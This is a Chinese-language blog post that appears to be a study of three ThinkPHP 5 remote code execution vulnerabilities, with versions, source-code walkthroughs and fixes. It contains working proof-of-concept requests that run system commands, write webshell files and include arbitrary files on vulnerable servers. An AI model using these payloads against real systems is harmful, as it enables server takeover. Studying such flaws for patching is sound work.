M0nk3y's Blog

ThinkPHP5漏洞学习-RCE

Word count: 3.4kReading time: 15 min
2020/09/23 Share

主要参考资料:

https://github.com/Mochazz/ThinkPHP-Vuln/

RCE1(利用缓存文件GetShell从而RCE)

相关参考资料:https://www.cnblogs.com/zpchcbd/p/12546340.html

POC

1
http://thinkphp5:8888/public/?username=test%0d%[email protected]($_GET[_]);//

image-20200923114608784

image-20200923124814752

漏洞概述

漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞

漏洞利用前提:

  • 站点能够将缓存文件列出,并且用户可以得到路径

  • 1、缓存使用文件方式并且缓存目录暴露在web目录下面
    2、攻击者要能猜到开发者使用的缓存key

  • 知道缓存类所设置的键名,这样才能找到 webshell 路径;其次如果按照官方说明开发程序, webshell 最终会被写到 runtime 目录下,而官方推荐 public 作为 web 根目录,所以即便我们写入了 shell ,也无法直接访问到;最后如果程序有设置 $this->options[‘prefix’] 的话,在没有源码的情况下,我们还是无法获得 webshell 的准确路径。

  • 5.0的部署建议是public目录作为web目录访问内容,其它都是web目录之外,当然,你必须要修改public/index.php中的相关路径

比如这里修改的index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}

影响版本

5.0.0<=ThinkPHP5<=5.0.10

漏洞分析

在ThinkPHP 的5.0.11 release 信息中:

image-20200923125619050

更新了完善缓存驱动(安全更新)。再去查看commit记录。

image-20200923130139007

修复方式为将缓存文件的内容拼接到<?php ?> 标签之外,并且使用了exit()函数来退出当前脚本。

可下断点进行单步调试,观察整个参数在Cache类以及Request类下进过相关方法的过滤,转换,并最终写入了缓存文件的过程。

首先是Cache::set("name",input("get.username")); 未实例化,所以为调用autoload方法,自动加载机制来进行一系列实例化操作。

image-20200923161825336

然后到helper.php 中的 input方法,判断请求的方法和请求的参数,此处为get.username

image-20200923162505424

然后返回过滤后的值,继续调用Request 类的 get 方法和 Input 方法(在TP5)中参数的处理都是这样的了,

经过filterVaulefilterExp函数进行特殊字符过滤和相关判段后返回给$data


然后来到Cache 类的set方法。

image-20200923164241136

调用了Cache 类的init 方法,该方法继续调用了 Config里的get方法,这些操作是在为缓存内容做一些初始化操作。然后再到Cache 类的 connect 方法,

image-20200923164824257

为缓存文件的文件名进行md5返回。这里的self::handlerthink\cache\driver\File类。所以会调用File类的set方法。该方法调用了getCacheKey方法来获取缓存文件的文件名。文件名的机制如下图,先是对$name md5,然后截取前两位作为目录名,后面部分作为文件名然后和.php后缀进行拼接。

image-20200923165836437

看看set方法的处理流程:

image-20200923170741256

最后通过file_put_contents函数,将$data(参数内容可控,并且没有对data参数进行任何过滤等操作,只是序列化后拼接存储在文件中,这里的 $this->options[‘data_compress’] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。虽然在序列化数据前面拼接了单行注释符 // ,但是我们可以通过注入换行符绕过该限制。) 写入$filename从而GetShell。

最后如果程序有设置 $this->options[‘prefix’] 的话(也就是上上图中的设置文件名前缀的代码),在没有源码的情况下,我们还是无法获得 webshell 的准确路径。

利用总结

漏洞修复

1,thinkphp3.2的版本请选择开启:DATA_CACHE_KEY 这样就算你使用的cms是开源的人家发现了这个也无法使用。
2,tp3.2-tp5 做好目录权限,除公共目录绝对不要让外部可访问

image-20200923130139007

RCE2(利用任意控制器调用RCE)

控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法

获取复现代码:

1
composer create-project --prefer-dist topthink/think=5.1.0 tpdemo

修改composer.json 的 require 字段。

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.30"
},

composer update

相关参考资料:

感觉自己分析的不好,要学习还是去看参考资料吧。

https://xz.aliyun.com/t/3570

https://www.smi1e.top/thinkphp-5-x-rce-%E5%88%86%E6%9E%90/

POC

5.1.x

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

这里以以这个POC进行分析,ThinkPHP 版本为5.1.30

1
/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

![image-20200923201833962](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20200923201833962.png)

漏洞概述

漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。

影响版本

5.0.7<=ThinkPHP5<=5.0.225.1.0<=ThinkPHP<=5.1.30

不同版本的Payload,需要做相关的调整。

漏洞分析

在5.1.31的更新中,查看相关更新的信息,其中关于修正控制器名获取 的commit

![image-20200923221710652](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20200923221710652.png)

另外,官方对于此处更新,专门发了一次微信公告。https://mp.weixin.qq.com/s/ie9Evj1Cedw4OomgkJug5A

内容如下:

本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.05.1版本,推荐尽快更新到最新版本。如果暂时无法更新到最新版本,请开启强制路由。

image-20200923225433768

默认情况下,ThinkPHP 不开启强制路由,并且开启了路由器兼容模式,s

5.1.31 修复地址:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

image-20200923224445456

两个关键点:

  • 控制器名
  • 强制路由

by 七月火师傅:

在没有开启强制路由,说明我们可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用 http://site/?s=模块/控制器/方法 来测试一下。在先前的 ThinkPHP SQL注入 分析文章中,我们都有提到所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func ,那么我们就来尝试利用这个方法。

https://hack-for.fun/69fea760.html#SQL%E6%B3%A8%E5%85%A5%E5%9B%9B-select

call_user_func($filter,$value);

1
http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd

image-20200923230344961

可以看到系统命令成功执行。

根据修复的内容:对控制器名的获取,直接在获取控制器的地方下断点,来进行调试。

image-20200923231658510

得出:控制器名是通过$result[1] 来获取的。

$result 的值来源于兼容模式下的 pathinfo ,即 s 参数

继续进行单步调试,程序会来到App类下的run方法

image-20200924094001917

继续调用Dispatch类的run方法,该方法调用了exec 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

public function run()
{
$option = $this->rule->getOption();

// 检测路由after行为
if (!empty($option['after'])) {
$dispatch = $this->checkAfter($option['after']);

if ($dispatch instanceof Response) {
return $dispatch;
}
}

// 数据自动验证
if (isset($option['validate'])) {
$this->autoValidate($option['validate']);
}

$data = $this->exec();

return $this->autoResponse($data);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');

try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));

if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}

$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');

if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];

// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);

// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

$this->app['hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);
});

return $this->app['middleware']->dispatch($this->request, 'controller');
}

其中:

1
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

利用了反射机制,调用类的方法,这里类和方法都可控。

该方法中,未对实例化控制器和操作名进行任何过滤、合法性检测操作,这就是导致远程代码执行的直接原因。


如果直接拿该版本的 payload 去测试 ThinkPHP5.0.x 版本,会发现很多 payload 都不能成功。其原因是两个大版本已加载的类不同,导致可利用的类也不尽相同。具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
ThinkPHP 5.1.x                  ThinkPHP 5.0.x
stdClass stdClass
Exception Exception
ErrorException ErrorException
Closure Closure
Generator Generator
DateTime DateTime
DateTimeImmutable DateTimeImmutable
DateTimeZone DateTimeZone
DateInterval DateInterval
DatePeriod DatePeriod
LibXMLError LibXMLError
DOMException DOMException
DOMStringList DOMStringList
DOMNameList DOMNameList
DOMImplementationList DOMImplementationList
DOMImplementationSource DOMImplementationSource
DOMImplementation DOMImplementation
DOMNode DOMNode
DOMNameSpaceNode DOMNameSpaceNode
DOMDocumentFragment DOMDocumentFragment
DOMDocument DOMDocument
DOMNodeList DOMNodeList
DOMNamedNodeMap DOMNamedNodeMap
DOMCharacterData DOMCharacterData
DOMAttr DOMAttr
DOMElement DOMElement
DOMText DOMText
DOMComment DOMComment
DOMTypeinfo DOMTypeinfo
DOMUserDataHandler DOMUserDataHandler
DOMDomError DOMDomError
DOMErrorHandler DOMErrorHandler
DOMLocator DOMLocator
DOMConfiguration DOMConfiguration
DOMCdataSection DOMCdataSection
DOMDocumentType DOMDocumentType
DOMNotation DOMNotation
DOMEntity DOMEntity
DOMEntityReference DOMEntityReference
DOMProcessingInstruction DOMProcessingInstruction
DOMStringExtend DOMStringExtend
DOMXPath DOMXPath
finfo finfo
LogicException LogicException
BadFunctionCallException BadFunctionCallException
BadMethodCallException BadMethodCallException
DomainException DomainException
InvalidArgumentException InvalidArgumentException
LengthException LengthException
OutOfRangeException OutOfRangeException
RuntimeException RuntimeException
OutOfBoundsException OutOfBoundsException
OverflowException OverflowException
RangeException RangeException
UnderflowException UnderflowException
UnexpectedValueException UnexpectedValueException
RecursiveIteratorIterator RecursiveIteratorIterator
IteratorIterator IteratorIterator
FilterIterator FilterIterator
RecursiveFilterIterator RecursiveFilterIterator
CallbackFilterIterator CallbackFilterIterator
RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator
ParentIterator ParentIterator
LimitIterator LimitIterator
CachingIterator CachingIterator
RecursiveCachingIterator RecursiveCachingIterator
NoRewindIterator NoRewindIterator
AppendIterator AppendIterator
InfiniteIterator InfiniteIterator
RegexIterator RegexIterator
RecursiveRegexIterator RecursiveRegexIterator
EmptyIterator EmptyIterator
RecursiveTreeIterator RecursiveTreeIterator
ArrayObject ArrayObject
ArrayIterator ArrayIterator
RecursiveArrayIterator RecursiveArrayIterator
SplFileInfo SplFileInfo
DirectoryIterator DirectoryIterator
FilesystemIterator FilesystemIterator
RecursiveDirectoryIterator RecursiveDirectoryIterator
GlobIterator GlobIterator
SplFileObject SplFileObject
SplTempFileObject SplTempFileObject
SplDoublyLinkedList SplDoublyLinkedList
SplQueue SplQueue
SplStack SplStack
SplHeap SplHeap
SplMinHeap SplMinHeap
SplMaxHeap SplMaxHeap
SplPriorityQueue SplPriorityQueue
SplFixedArray SplFixedArray
SplObjectStorage SplObjectStorage
MultipleIterator MultipleIterator
SessionHandler SessionHandler
ReflectionException ReflectionException
Reflection Reflection
ReflectionFunctionAbstract ReflectionFunctionAbstract
ReflectionFunction ReflectionFunction
ReflectionParameter ReflectionParameter
ReflectionMethod ReflectionMethod
ReflectionClass ReflectionClass
ReflectionObject ReflectionObject
ReflectionProperty ReflectionProperty
ReflectionExtension ReflectionExtension
ReflectionZendExtension ReflectionZendExtension
__PHP_Incomplete_Class __PHP_Incomplete_Class
php_user_filter php_user_filter
Directory Directory
SimpleXMLElement SimpleXMLElement
SimpleXMLIterator SimpleXMLIterator
SoapClient SoapClient
SoapVar SoapVar
SoapServer SoapServer
SoapFault SoapFault
SoapParam SoapParam
SoapHeader SoapHeader
PharException PharException
Phar Phar
PharData PharData
PharFileInfo PharFileInfo
XMLReader XMLReader
XMLWriter XMLWriter
ZipArchive ZipArchive
PDOException PDOException
PDO PDO
PDOStatement PDOStatement
PDORow PDORow
CURLFile CURLFile
Collator Collator
NumberFormatter NumberFormatter
Normalizer Normalizer
Locale Locale
MessageFormatter MessageFormatter
IntlDateFormatter IntlDateFormatter
ResourceBundle ResourceBundle
Transliterator Transliterator
IntlTimeZone IntlTimeZone
IntlCalendar IntlCalendar
IntlGregorianCalendar IntlGregorianCalendar
Spoofchecker Spoofchecker
IntlException IntlException
IntlIterator IntlIterator
IntlBreakIterator IntlBreakIterator
IntlRuleBasedBreakIterator IntlRuleBasedBreakIterator
IntlCodePointBreakIterator IntlCodePointBreakIterator
IntlPartsIterator IntlPartsIterator
UConverter UConverter
JsonIncrementalParser JsonIncrementalParser
mysqli_sql_exception mysqli_sql_exception
mysqli_driver mysqli_driver
mysqli mysqli
mysqli_warning mysqli_warning
mysqli_result mysqli_result
mysqli_stmt mysqli_stmt
Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9 Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c
think\Loader think\Loader
think\Error think\Error
think\Container think\Config
think\App think\App
think\Env think\Request
think\Config think\Hook
think\Hook think\Env
think\Facade think\Lang
think\facade\Env think\Log
env think\Route
think\Db
think\Lang
think\Request
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Log
think\log\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

利用总结

by Mochazz:

8

漏洞修复

代码层面:增加对控制器名的合法性检查。

应急层面:临时开启强制路由。

官方的修复方法是:增加正则表达式 ^[A-Za-z](\w)*$ ,对控制器名进行合法性检测。

image-20200923224445456

RCE3

POC

1
2
3
4
5
6
7
8
9
10
11
12
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞概述

和上一个RCE直接原因一样,都是没有对控制器进行很好的合法性校验。

漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。

影响版本

5.0.0<=ThinkPHP5<=5.0.235.1.0<=ThinkPHP<=5.1.30

漏洞分析

利用总结

漏洞修复

Author:m0nk3y

原文链接:https://hack-for.fun/a45.html

发表日期:September 23rd 2020, 11:04:09 am

更新日期:September 27th 2020, 9:39:21 pm

版权声明:原创文章转载时请注明出处

CATALOG
  1. 1. RCE1(利用缓存文件GetShell从而RCE)
    1. 1.1. POC
    2. 1.2. 漏洞概述
    3. 1.3. 影响版本
    4. 1.4. 漏洞分析
    5. 1.5. 利用总结
    6. 1.6. 漏洞修复
  2. 2. RCE2(利用任意控制器调用RCE)
    1. 2.1. POC
    2. 2.2. 漏洞概述
    3. 2.3. 影响版本
    4. 2.4. 漏洞分析
    5. 2.5. 利用总结
    6. 2.6. 漏洞修复
  3. 3. RCE3
    1. 3.1. POC
    2. 3.2. 漏洞概述
    3. 3.3. 影响版本
    4. 3.4. 漏洞分析
    5. 3.5. 利用总结
    6. 3.6. 漏洞修复